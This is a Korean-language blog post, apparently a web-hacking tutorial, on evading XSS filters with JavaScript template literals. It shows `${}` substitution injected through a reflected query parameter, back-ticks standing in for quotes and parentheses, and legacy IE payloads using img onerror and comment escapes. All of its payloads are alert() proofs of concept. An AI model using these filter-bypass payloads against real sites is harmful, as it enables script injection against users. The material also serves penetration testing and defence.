Bypass XSS filter with back-tick(JS Template Literal String)
오랜만에(?) XSS 우회기법 정리 차 포스팅 작성합니다. 오늘은 Template literal String인 back-tick과 이를 이용한 XSS에 대해 이야기할까 합니다. 자 그럼 시작하도록 하죠.
Template literal string?
Template Literal은 embedded expression을 허용하는 string literal입니다. 쉽게 이야기하자면 물결(~) 키의 특수문자인 back-tick(`)을 이용하여 문자열처럼 감쌌을 때를 의미합니다.
대표적으로 Multi-line string이라 하여 여러줄의 데이터를 표기할 때 사용하죠. 이 친구는 재미있는 특성을 가지고 있습니다.
String
아래 코드를 보시면 back-tick을 이용해 문자열 형태로 표현할 수 있습니다.
<html>
<script>
console.log(`this is back-tick`);
</script>
</html>
결과 또한 잘 찍히네요.
this is back-tick
String Interpolation
Javascript 에선 back-tick을 이용하면 String Interpolation을 나타낼 수 있습니다.
function check(data)
{
if(data != "test")
{
alert("Success");
}
else
{
alert(`Error: [${data}]`);
}
}
잘 활용하면 위 코드처럼 상황에 따라 변동되는 값을 보여줄 수도 있겠지요. 자 눈치 빠르시면 이미 파악하셨을겁니다. 어떤것이 위험할지 :D
Bypass XSS with back-tick
back-tick을 사용하면 문자열 데이터 안에서 스크립트 문을 표현할 수 있습니다. 간단한 코드예시로 보면..
<html>
<script>
console.log(`this back-tick ${alert(45)}`);
console.log(`this back-tick ${document.location}`);
</script>
</html>
this back-tick undefined. back.html:
this back-tick http://127.0.0.1/back.html
네 alert() 함수도 잘 실핼되고 console.log에 현재 위치도 잘 찍히네요.
맨위에서 이야기했듯이 back-tick을 이용해서 문자열을 표현하는 환경도 은근히 있습니다. 우리는 ${} (template substitution)만 잘 활용한다면 쉽게 XSS에 성공할 수 있겠지요.
Javascript 내 quot 제한 우회
위에서 어느정도 설명드렸지만 한번 정리할겸 나열해봅니다. 일단 back-tick은 double, single quot 대용으로 사용할 수 있습니다. 공격구문에 문자열을 저장해야할 경우가 가끔씩 생기는데 그럴때마다 푸는 방법 중 하나로 사용될 수 있겠죠.
var payload = `alert(45)` // 오늘의 방법!
var payload = /alert(45)/
var payload = document.forms[0].s.value //s name form > value 값에 payload
// http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
Back-tick 내 Reflection 이 존재하는 경우
back-tick은 문자열 형태를 유지하거나, 내부 스크립트 편의성을 위해 사용되기도 합니다. back-tick 내 요청된 파라미터 값이 들어간다면 우리는 스크립트 문을 문자열 내부로 넣을 수 있습니다.
GET test.html?q=your%20input
var helpmsg = `This page is help page .. search for your input!`;
console.log(helpmsg);
This page is help page .. search for your input!
GET test.html?q=${alert(45)}
var helpmsg = `This page is help page .. search for ${alert(45)}`;
console.log(helpmsg);
This page is help page .. search for undefined
괄호 대신 사용하기
괄호를 못쓰는 경우도 은근히 짜증납니다. 그럴 땐 back-tick을 이용해 괄호처럼 쓸 수 있습니다.
<html>
<script>
alert`45`
</script>
</html>
alert() 함수가 잘 실행됩니다.
IT 구버전의 트릭
IE 구버전(6,8)에선 back-tick이 js 영역이 아닌 html 영역에서도 일부 동작할 수 있었습니다.
<img src="x` `<script>alert(45)</script>"` `>
그래서 이를 이용하여 주석 탈출도 가능합니다.
<!-- `<img/src=z onerror=alert(45)//--!>
단 너무 구버전의 트릭이라 현재는 사용할 수 없습니다.
Reference
https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Template_literals http://hacks.mozilla.or.kr/2015/08/es6-in-depth-template-strings-2/ oioi